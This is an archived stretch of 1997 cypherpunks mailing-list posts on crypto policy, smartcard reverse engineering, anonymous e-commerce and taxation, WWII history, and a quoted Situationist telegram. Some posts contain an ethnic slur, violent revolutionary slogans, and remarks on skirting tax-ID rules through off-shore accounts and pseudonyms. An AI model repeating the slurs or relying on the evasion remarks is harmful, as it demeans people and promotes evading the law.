Date: Mon, 24 Nov 1997 20:10:37 +0800
To: cypherpunks@Algebra.COM
Subject: Tremble Bureaucrats
Message-ID: <c5c15afd30c5dc42eb513fe655c7a925@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Telegram from "The Situationist International Anthology" edited and
translated by Ken Knabb

17 MAY 1968 / POLITBURO OF THE COMMUNIST PARTY OF THE USSR THE KREMLIN
MOSCOW / SHAKE IN YOUR SHOES BUREAUCRATS STOP THE INTERNATIONAL POWER
OF THE WORKERS COUNCILS WILL SOON WIPE YOU OUT STOP HUMANITY WON'T BE
HAPPY TILL THE LAST BUREAUCRAT IS HUNG WITH THE GUTS OF THE LAST
CAPITALIST STOP LONG LIVE THE STRUGGLE OF THE KRONSTADT SAILORS AND OF
THE MAKHNOVSHCHINA AGAINST TROTSKY AND LENIN STOP LONG LIVE THE 1956
COUNCILIST INSURRECTION OF BUDAPEST STOP DOWN WITH THE STATE STOP LONG
LIVE REVOLUTIONARY MARXISM STOP OCCUPATION COMMITTEE OF THE AUTONOMOUS
AND POPULAR SORBONNE

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNHdAET7jyGKQlFZpAQHW2gf9GvcvSOQQSJi8mmPLd0Rp5fyA4cAsJmXj
WX73CvduZEuW/4guZTHVk0LnBLCDq80pyHSqH8hnT0ZnoarpuSKCFYATzs6GkTOk
NQTdH+GrJIeYPf7KidmCxIOxajX3fHeFYaton0MnsMm75ZnWvQKOxc+J3thIYVP1
6DzEfGzAl/AmPxtXgCBMQIPPzXtSOtKtyH/PeEMdFfYVUGh8hVjexXjnmLPCfU2Y
zEtuM+6wFTsNhqI6QCjD2wlVJuQ3I0tc5fV25joR7POHAxcc46KXNdlGgj1iQrma
YYMhLNewXd6ZawOI4DUH89CwfKOfatr2jARgioGWj173JqYV7IuGfw==
=iGPW
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Nov 1997 21:09:58 +0800
To: cypherpunks@toad.com
Subject: Gov May Tighten Crypto Exports
Message-ID: <1.5.4.32.19971124125950.0072d13c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Markoff reports today on a plan to tighten crypto exports
for non-bank financial companies and reactions from
industry trying to loosen them:

   http://www.nytimes.com

Mirrored:

   http://jya.com/tighten.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Mon, 24 Nov 1997 22:45:24 +0800
To: cypherpunks@toad.com
Subject: BIOS Help
Message-ID: <199711241422.IAA16823@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



Hey,

Does anyone know where specs for Award BIOS chips are? I accidentily
locked mine and lost the password.

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 22:48:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Further costs of war (fwd)
Message-ID: <199711241431.IAA12181@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Further costs of war (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Mon, 24 Nov 97 00:46:22 EST

> While I have no love for the japs, I mus point out in all fairness that
> FDR was attacking them on all fronts for years: 1) stopping the japs
> from immigrating into the us, 2) cutting off their supplies of raw
> materials (and therefore pushing the japs to conquer the territories
> that would assure the supply). In particular, right before the japs
> attacked pearl harbor, the US embargoed oil shipments to the japs.
> The japs had said previously that they'd consider such an embargo
> as a declaration of war. In particular, their line about p.h. was
> that it wasn't a "sulplise attack", and that the US had previously
> declared war on the japs by imposing the embargo.

The Japanese joined the Tri-partite on Sept. 27, 1940. 5 days later it began
its first attacks in Indo-china, 13 months prior to the attack on Pearl
Harbor. America was shocked by these acts and interpreted them as openly
hostile and tended to strengthen Chian Kai-shek's claims as the legitimate
Chinese authority. Prior to this signing Japanese forces had advanced up the
Kowloon Peninsula to glair through the wire at Hong Kong. Tokyo demanded the
British close the Burma Road and cease all war material trade with China. The
British requested the Americans invoke a general embargo as well as moving
naval forces to the western Pacific. The Americans rejected all these
suggestions. They had moved the Pacific Fleet from the West Coast to Pearl
Harbor. Because of the upcoming election it was felt that such actions would
be interpreted as support for the British colonialism which was politicaly
unacceptable to much of America. The British responded by offering to close
the Burma Road for 3 months (during the monsoon season when there was little
traffic to interrupt). Only in July of 1940, 2 months before Japan signed the
act, did Roosevelt finaly put an embargo in place which covered aviation fuel,
lubricants, and certain scrap iron and steel. In September the regulations
were tightened. Only in Nov. after being re-elected did he include copper,
zinc, brass, oil-drilling equipment, and other strategic materials.

It's important to note that as early as January 1941 the Emporer had ordered
Yamamoto to review the attack on Hawaii. Presumably because he felt
uncomfortable with the entire thing.

So the time line is something like this:

15 months prior to Pearl Harbor the US places an embargo on Japan presumably
because of their aggressive policies.

13 months prior to the attack on Pearl Harbor the Japanese sign the
Tri-partite Act.

12 months prior to the attack on Pearl Harbor the Emporer gets cold feet
and orders a review of the plan.

> My recollection is that Hitler's generla staff was busily designing the
> plans for invading the US, to be implemented after he  was done with
> the GB and the USSR. They involved invading via his latin american
> allies (notably mexico) and possibly canada. However there was no
> way to sell the war against germany to the american public, except
> as part of a package deal with the war on japs.

Actualy at the time, German invasion through Mexico was felt to be a real
possibility. There was significant build-up of both covert agents in Mexico
as well as military forces along the border during this time.

Note, I would appreciate any references to the regulation of Japanese
nationals transiting through or applying for residence in the US during this
period. Can't say that I've ever seen this issue in anything I've read.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 25 Nov 1997 01:32:04 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: Mondex help needed
In-Reply-To: <Pine.BSF.3.96.971124001555.20959A-100000@pakastelohi.cypherpunks.to>
Message-ID: <v03102801b09f60a9c75a@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:16 AM +0100 11/24/1997, Lucky Green wrote:
>I just received one of the Chase Manhattan Mondex cards. Since I've been
>doing a bit of work with smartcards lately
><https://www.cypherpunks.to/scard/>, I'd like to take an extended look at
>this card.
>
>The task would be much easier if I had one or several of the following:
>
>o Mondex card Programer Reference Manual. Somebody on this list must have
>access to one.

Yes, I'd be interested in seeing a copy.  Better yet, I'd be nice is a copy was posted on Eternity.

>o Protocol specifications. Even partial specs would be helpful.

Ditto to above.

>o Any PC software that talks RS-232 to a reader that is meant to hold a
>Mondex card. And of course the reader. If the reader work with non-Mondex
>cards, all the better, because that probably means that the reader is
>generic and the commands can be reverse engineered and emulated.

I talked with Bret Tobay, Tritheim Technology, (813) 943-8684, a Mondex certified developer at COMDEX.  They have a complete line of SC readers (SmartPort DT and LT) and software.  Development kit $495.

BTW, also had a very interesting discussion with the Chipper folks at COMDEX.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 24 Nov 1997 23:04:02 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Report on UN conference on Internet and racism (fwd)
Message-ID: <199711241502.JAA12382@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 24 Nov 1997 09:45:35 -0500 (EST)
> From: Jon Galt <jongalt@pinn.net>
> Subject: Re: Report on UN conference on Internet and racism

> being committed.  (Of course there is another definition of crime.)

How about an act which harms a person or their property without their prior
permission?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 25 Nov 1997 01:18:29 +0800
To: cypherpunks@Algebra.COM
Subject: Encrypted Economic Speech is Protected
In-Reply-To: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com>
Message-ID: <v0310280bb09f48773e15@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Some thoughts on the proposal floating around to require all electronic
transactions be identified and have IRS-endorse tags. I believe this runs
smack up against the First Amendment (and possibly the Fourth), and that
private transactions, contracts, IOUs, and such are essentially untaxable
and nonvisible to the government (practically speaking, a la the situation
today and at all times in the past).

Encrypted financial speech is indistinguishable from encrypted political or
religious or romantic speech, for example, so any requirement that economic
speech be visible to the government for taxation or regulatory purposes
would have an unconstitutional effect on speech in general.

(Not all speech is free of government regulation, obviously. Many examples
of regulated speech: medical claims, speech to minors, obscenity, and so
on. But the regulation of this speech is done "ex post facto," not by prior
restraint or official censorship (where a censor has to approve material),
and not by the government opening letters to determine if they comply with
regulations. Bear this in mind when reading the stuff below.)


At 5:21 AM -0700 11/21/97, John Young wrote:
> Network World, November 15, 1997:
>
> Welcome To Cyberspace. Your Papers Please?

> Under active consideration is a plan to require taxpayers to obtain digital
>IDs for all
> electronic transactions, keeping records that could be examined on audit.
>The IDs
> would be issued by IRS certified agencies, subject to government developed
> standards to ensure that proper identity checks are performed before
>anyone is
> allowed to shop online. The IRS would enforce this by issuing its own digital
> certificates to issuers of digital IDs so that they can electronically
>prove that they
> have received IRS certification. The technology they need to make this
>happen is
> available. All that's missing are the regulations forcing compliance. So,
>stay tuned.
> If you enjoyed the encryption key escrow debate, you'll love this one.


I doubt this would pass court challenges. Yes, I now about "the power to
regulate commerce," but consider these points:

1. There are no specified transaction forms in commerce.  (With only a few
exceptions, such as firearms purchases and some "big ticket" items like
houses, which have complicated sets of contract agreements, waivers, title
checks, etc.)

2. There is generally no requirement whatsoever for identification of a
purchaser, or a seller, for that matter. When Alice buys a disk drive, or a
box of cereal, or a carton of cigarettes, there is no governmental
requirement that she provide a True Name, or any kind of name at all.

(Caveats: It will be tiresome to repeat these caveats, so I will list them
once. Note that they do not mean there is either a requirement for identity
in transactions, or for specific forms of paperwork to be completed. Some
caveats: age credentials may be needed for some purchases (alcohol,
tobacco, firearms, R- or X-rated material, etc.). Firearms generally now
have required paperwork, restrictions, and waiting periods. Pharmaceuticals
have various ID requirements. Courtesy of the "War on Terrorism," airlines
now require ID. Etc.)

3. Many businesses have started asking for ID for more purchases (perhaps
because they think it will lessen liability problems, perhaps because they
just think that all customer-units should be tracked). An example: hotel
rooms. (Used to be one could just pay cash...now ID is demanded at some
hotels.) Some businesses are even demanding Social Security numbers. (And I
don't mean banks or other businesses with IRS reporting requirements...a
local gun range demanded my SS number for their range ID card.)

However, these ID requirements are not the norm, and most merchants will
happily take cash money for any and all purchases.

4. "Receipts" are not even required by law for transactions. Alice and Bob
can complete a transaction without any paperwork. Or with handwritten
notes. Or a Xeroxed receipt form. Or with their Palm Pilots or Newtons, or
whatever.

(Something Ian Goldberg has demonstrated with a Pilot linking to an e-cash
server in Finland, for example.)

5. Transactions may be undertaken over telephone or computer lines, perhaps
to sites in other countries. A variety of receipts, ID systems, etc.

6. True Names may be required for certain transactions so as to ensure
collection of promised monies. Especially in time-lapse payment
arrrangements. Cf. the usual debate about on-line vs. off-line clearing,
and the role of escrow agents.

7. "Money is Speech."  An encrypted message making arrangements for some
transaction may be indistinguishable from other encrypted messages. A law
requiring that all encrypted transmissions be compliant with reporting
requirements would impinge on speech. (It is not possible to distinguish
"money speech" from "political speech," or "other speech" in general. This
is a point both Michael Froomkin and I emphasized in our panel discussion
and papers for CFP '97.)

Also, certain forms of political and private speech would be chilled if
identification of all electronic transactions were to be required. Think of
someone buying information on birth control methods, or books from the John
Birch Society, etc.

(Buyer anonymity is obviously a good thing in many cases. Seller anonymity
is also a good thing in many cases. I constructed for Chaum, who has not
been supporting full, two-way anonymity of late, a plausible scenario where
seller anonymity is required to prevent government sting operations.
Purchasing porn electronically is a current example. One can imagine
Islamic countries using seller traceability in all sorts of bad ways. Only
true "Chaumian" e-cash, not the "new Chaumian" semi-traceable form, meets
goals we are interested in.)

8. Tax collection issues are generally separate from the details of the
transaction. Sales taxes (and VATs) are generally the responsibility of the
seller to collect at the time of the transaction, and to report. The seller
need not know the identity of the buyer to collect a sales tax.

(Of course, part of the reason for the "electronic ID" mentioned in the
article John Young quotes is the difficulty of collecting sales taxes
across national and state boundaries.)

9. In the U.S. at least, there is essentially no attempt to collect sales
taxes on private, two-party transactions.  This is not enforceable at flea
markets, garage sales, and other such markets, let alone in private
transactions between Alice and Bob.

10. To enforce tax collection in such areas, the state would have to become
intrusive at an Orwellian level. (And Alice and Bob could _still_ perform
"unmonitored transactions" in the time-honored ways.)

11. To enforce tax collection when Alice is using computer communications
to contact Bob in Holland, or in Japan, or in cypherspace, the state would
have to become intrusive in all computer communications.

12. The expression "to utter a check" dates back before Eric Hughes' usage
a few years ago (so I was told by M. Froomkin). A check is a kind of
promise to pay.  So is an IOU. So is a promissory (sp?) note. So are many
kinds of contracts.

The state cannot inject itself into all of these private negotiations,
contracts, IOUs, etc., at least not before they are litigated because of
some agreement. (There's a big difference between the state getting
involved because parties to a contract disagree on enforcement, and the
state becoming a third party even in early stages, or when no disagreement
about enforcement exists.)



In summary, much as the government and various advisory panels might wish
for some role in "regulating cyberspace commerce," or in taxing it, any
attempt to mandate the forms of such commerce or to require that certain
identification be used, will directly impinge on the rights of individuals
to communicate as they wish with others.

Practically speaking, the idea is a non-starter. There are so many ways to
skirt the proposed ID systems, using cut-outs, off-shore accounts,
pseudonyms, etc., that enforcement would be a nightmare.

And the system could probably be monkey-wrenched by staging some major
court challenges, where Alice and Bob "break the law" about using digital
IDs...and it turns out in court that they were discussing some clearly
protected subject, like religious beliefs, personal matters, etc.

Once again, the First Amendment provides core protections.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 24 Nov 1997 23:47:12 +0800
To: bcrosby@mncs.k12.mn.us (Brandon Crosby)
Subject: Re: BIOS Help
In-Reply-To: <199711241422.IAA16823@ted.mncs.k12.mn.us>
Message-ID: <199711241517.JAA03651@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Brandon Crosby wrote:
> 
> Does anyone know where specs for Award BIOS chips are? I accidentily
> locked mine and lost the password.
> 

get the little battery out

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Mon, 24 Nov 1997 23:01:18 +0800
To: Mikhael Frieden <mikhaelf@mindspring.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.16.19971124000458.0e8f3962@pop.mindspring.com>
Message-ID: <Pine.SUN.3.91.971124091249.18346C-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



> >>         Not a damned thing. While in this country they are in the act of
> >> committing a crime.

(Galt)
> >And who is it that gets to decide what is a "crime" and what is not?  

(Frieden)
>         It would appear to me that an illegal in the country is as much in
> the act of committing a crime as a burglar is while in a place other than
> his own. 

I don't dispute this.  If a "crime" is defined as whatever the 
politicos/bureaucrats/hoodlums say it is, then a "crime" is certainly 
being committed.  (Of course there is another definition of crime.)


(Galt)
> >The 
> >politicos, the bureaucrats, the hoodlums in DC and elsewhere who think 
> >they have the right to run the lives of everybody else.

(Frieden)
>         The politicians are responding to voters. The voters who are
> pressuring them are siding with foreign nationals against the interests of
> the United States which is presumed to be their new country of loyalty.

"If voting could change anything, it would have been outlawed long ago."  
Not strictly true.  But if I vote or don't vote...well it's just about 
the same difference as whether I buy a lottery ticket or not.

Don't vote - it only ENCOURAGES them!

> That siding should be sufficient justification remove citizenship and
> return them to the land of dysentary and mui Ninos. 

Citizenship, Schmitizenship.  Granted I don't want to renounce my 
citizenship - at least not at the moment.  But the whole game of riling 
up people's emotions about "citizenship" and "patriotism" is just a bread 
and circuses ruse to keep us focused on something other than what the 
professional control freaks are doing to us.


(Galt)
> >Again I ask the question:
> >What gives the hoodlums in Washington DC the right to draw a line on a 
> >map and control people's travel across that line?
> 
>         The people who made handgun ownership a felony gave them that right. 

The people who made handgun ownership a felony should be sent down a dark 
alley without any means of self-defense.  Perhaps they would gain a small 
glimmer of understanding of the real issues - unless they already 
understand that they are the hoodlums around the corner in the dark 
alley.  In that case....

>         Lawmakers are resonsible for all foreseeable consequences not just
> the intended consequences. 

Lawmakers can hardly be held responsible for tying their own shoes!  I 
suspect you had your satire mode on full when you wrote this.

> 
> 
> -=-=-
> The 2nd guarantees all the rest. 
> 
______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 24 Nov 1997 08:58:35 +0800
To: Robert Hettinga <cryptography@c2.net
Subject: Re: Good recent books on encryption, privacy, etc.?
In-Reply-To: <v04002704b09b99c65b9c@[139.167.130.248]>
Message-ID: <199711240053.JAA00520@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

You should get Whitfield Diffie and Susan Landau's "Privacy
on the Line : The Politics of Wiretapping and Encryption" MIT
Press.

If it isn't out yet, it should be out soon. It is excellent.

 - Joi

At 15:05 97/11/21 -0500, Robert Hettinga wrote:
> 
> --- begin forwarded text
> 
> 
> X-Sender: ddfr@shell9.ba.best.com
> Mime-Version: 1.0
> Date:         Wed, 19 Nov 1997 18:39:58 -0800
> Reply-To: Law & Policy of Computer Communications
>               <CYBERIA-L@LISTSERV.AOL.COM>
> Sender: Law & Policy of Computer Communications
>               <CYBERIA-L@LISTSERV.AOL.COM>
> From: david friedman <ddfr@BEST.COM>
> Subject:      Good recent books on encryption, privacy, etc.?
> To: CYBERIA-L@LISTSERV.AOL.COM
> 
> I am getting ready to teach my seminar on Computers, Crime and Privacy
> again, and wondering if there is something new that I should substitute for
> _Building in Big Brother_. Are there any recent books that have a
> reasonably accessible treatment of encryption, the controversy over
> regulation, etc.? For that matter, are there any good recent books on
> computer crime?
> 
> I may end up simply substituting in a lot of URL's, but I thought it was
> probably worth including some old technology as well, if available.
> 
> David Friedman
> Professor of Law
> Santa Clara University
> ddfr@best.com
> http://www.best.com/~ddfr/
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
> Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>
> 
> 
> 
> 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNHhRX+SNryotlGHxEQJ0lgCggrhifLoMwUYkPaTJeXlIzlWYbFgAnjRk
sI57zMIWqgaeiN8Wj6WWF176
=CFoO
-----END PGP SIGNATURE-----

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 25 Nov 1997 00:48:46 +0800
To: cypherpunks@toad.com
Subject: Re: Report on UN conference on Internet and racism (fwd)
Message-ID: <Pine.LNX.3.95.971124102900.846C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 21 Nov 1997 22:19:18 -0600
From: TruthMonger <tm@dev.null>
Reply-To: 6ualdv8@sk.sympatico.ca
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Report on UN conference on Internet and racism

Jim Burnes wrote:
> (ahem...now back to your regularly scheduled silliness)

Jim,
  Did you get enough drugs to share with *everybody*?

Actually I'm fresh out.  I think I'll go back to the coffee
pot and brew some more...

;-)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 25 Nov 1997 00:32:04 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <199711220640.AAA05293@wire.insync.net>
Message-ID: <Pine.SUN.3.96.971124103333.22344A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



> Of course, it would be difficult to wash away all the FUD the government
> has disseminated about the Bell case by now.  Still, I think sloshing the
> IRS with a bit of the excrement they have been dispensing to the press
> might not be a bad move.  Perhaps a noisy statement about the Bell case at
> one of those public meetings the IRS has been commanded to hold to discuss
> its past abuses might be a good place to start.

Not so difficult.  Remember that Bell stink-bombed those offices
allegedly.  This could easily be seen as a teenage-mentality prank.
Play that part up, and the ludicrousness of everything else he was
"schemeing", and it makes the IRS look very very bad.  They are pushing
the bad ass terrorist view of him.  We need to push the "he was a
misguided kid" or "this was all fantasy" bit.  Hell everyone whose ever
dealt with the IRS can sympathise with his desire to stink bomb them.

The big bad thing is that they haven't yet sentenced him.  If they do,
it'll be very bad for him, however, it will be that much worse for the
IRS (perhaps another reason for the delays, or it could be they need to
break him so he confesses terrorist plots first...) it can generate "IRS
throws Bevis like kid in Jail for Stink Bombing" headlines.  (Sure, he's
no kid, but make him look like one.)

Perhaps a timeline article of all of the IRS's abuses with this one as the
final point would add to the fuel...

How do we further force them into that position?


> "Do What Thou Wilt Shall Be The Whole Of The Law"
Love is the law,
Love under will. (Taxed by the IRS at 30% of course.) 


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 25 Nov 1997 03:10:07 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Further costs of war
In-Reply-To: <v03102807b09e53a4b922@[207.167.93.63]>
Message-ID: <v0310280db09f70fec3a4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:12 AM -0700 11/24/97, Rabid Wombat wrote:
>>
>> The last justifiable war the American states were involved in was,
>> arguably, the War of 1812. Every war since then has been unjustified.
>>
>> --Tim May
>>
>
>Chuckle. The "war" of 1812 was nearly as much of an internal political
>struggle over the form the U.S. gov't was to take as was the "civil war."

That's why I was careful to say, "arguably." It may or may not have been a
justifiable war, but at least it involved foreign powers acting on or
against actual domestic, contental soil. Something the various later wars
did not directly involve.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <cypherpunks@cyberpass.net>
Date: Mon, 24 Nov 1997 18:10:59 +0800
To: cypherpunks@cyberpass.net
Subject: Choate Doesn't Do His Homework
Message-ID: <199711241003.LAA27231@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>Make up your own mind on the validity of the claims.

I prefer facts when it comes to making up my mind instead of baseless
claims.  For the others on this list who prefer the same, let me set the
record straight...

Jim Choate wrote:
>It has been claimed that the original claim by Bob and anonymous was that
>the first Great Awakening ended by the late 18'th century. This is a
>complete fabrication. 

Yes, and you are the fabricator.  Bob claimed it happened in the 19th 
century (see Fact 1 below).  I claimed it happened in the early 18th 
century (see Fact 3 below).

>                       The original claim put forth clearly references dates
>in the 1800's as the date of the first instance, clearly 50-100 years in
>error from the original Great Awakening that occurred between 1700-1750. 

For the umpteenth time, that was Bob's original claim, not mine.  See above.

>                                                                          In
>my original posting I (thought) made it clear that I didn't quite know when
>the original event occurred but was certain it ended prior to the late
>1700's which would clearly pre-date the original claim. I subsequently took
>the time to provide references for those citation and clearly indicated
>where my memory was in error, and even took the time to explain my confusion
>regarding the 'Beacon on the Hill' movement.  In responce Bob and apparently
>anonymous made it clear that they saw no reason to do 'homework'
>irrespective of the impact of historical accuracy on their claims.

Bullshit!  I did my homework.  You (and Bob) didn't.  But because I am a nice
guy, I share it with you here.

The bottomline is that you screwed up, Jim.  You misread my original post 
(confusing the 18th century for the 1800's) and started this whole chain of 
events.  The facts (not the claims) clearly bear this out.

Nerthus

_________________

T H E   F A C T S

[note: I have edited the attribution lines for clarity, but all posts are
referenced to the Cypherpunk Archive]


F A C T  1: 
<http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0556.html>
Date: Tue, 18 Nov 1997 18:10:17 -0500
Robert Hettinga wrote:
>Jim Choate wrote:
>> Um, I believe that went from the late 1500's to the early 1700's at best.
>
>Nope. Check it out. As defined in any decent book of American history,
>well, maybe one that hasn't been too "revised" :-),  the "Great Awakening",
>which gave us most of our American-flavored religions, happened in the
>early part of the 19th century, though rumblings started shortly after the
>revolution.


F A C T  2: <http://infinity.nus.sg/cypherpunks/current/0036.html>
Date: Wed, 19 Nov 1997 17:54:37 -0600 (CST)
Jim Choate wrote:
> X-within-URL: http://www.gnbvoc.mec.edu/webquest/PPERRY3.htm
>
>                   2ND GREAT AWAKENING & WESTWARD EXPANSION
>                                        
> 1815-1850


F A C T  3: <http://infinity.nus.sg/cypherpunks/current/0055.html>
Date: Thu, 20 Nov 1997 02:25:01 -0000 
Nerthus wrote:
>Jim Choate wrote [in response to Bob]:
>>After thinking about this I am certain that you are speaking of a movement
>>other than the Great Awakening. I can't remember or find a convenient name
>>for the religous/ethical awakening that occured prior to the Civil War.
>
>"THE GREAT AWAKENING
>
>"A conservative reaction against the world view of the new science was 
>bound to follow, and the first half of the eighteenth century witnessed a 
>number of religious revivals in both England and America.  They were 
>sometimes desperate efforts to reassert the old values in the face of the 
>new and, oddly enough, were themselves the direct product of the new cult of 
>feeling, a philosophy which argued that man's greatest pleasure was derived 
>from the good he did for others and that his sympathetic emotions (his joy as 
>well as his tears) should not be contained."
>
> -- The Norton Anthology of American Literature, Third Edition, Volume 1


F A C T  4: <http://infinity.nus.sg/cypherpunks/current/0056.html>
Date: Wed, 19 Nov 1997 20:38:10 -0600 (CST)
Jim Choate wrote:
>Nerthus wrote: 
>> "THE GREAT AWAKENING
>
>No, "The Second Great Awakening" which happened to be followed by "The Third
>Great Awakening".
>
>You didn't read the various posts that I sent out earlier on this did you...

[Once again, yes I did.  1815-1850 does not equal early 18th century!]


F A C T  5: <http://infinity.nus.sg/cypherpunks/current/0143.html>
Date: Thu, 20 Nov 1997 14:54:09 -0600 (CST)
Jim Choate wrote:
>Nerthus Wrote:
>> Uh, Hello?  Your post entitled "1st Great Awakening" describes the exact
>> same thing that I called simply, "The Great Awakening."  It was not, as you
>> say above, the 2nd one.
>
>They are they same if we ignore the fact that there is 50+ years between
>the 1st (1700-1750) and the 2nd (1800-1850).

>I did some looking around as well and other then Norton, yourself, and
>whoever it was that made the original claim all references I can find to
>the Great Awakening refer to the 1700-1750 event(s) as the first one to
>occur in the America's. If I can find my Norton Anthology I'll take a
>look at it, though it is 15+ years old.

[Once again, Norton and myself referenced the Great Awakening to the
early 1700's/18th century: see Fact 3]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 25 Nov 1997 02:33:09 +0800
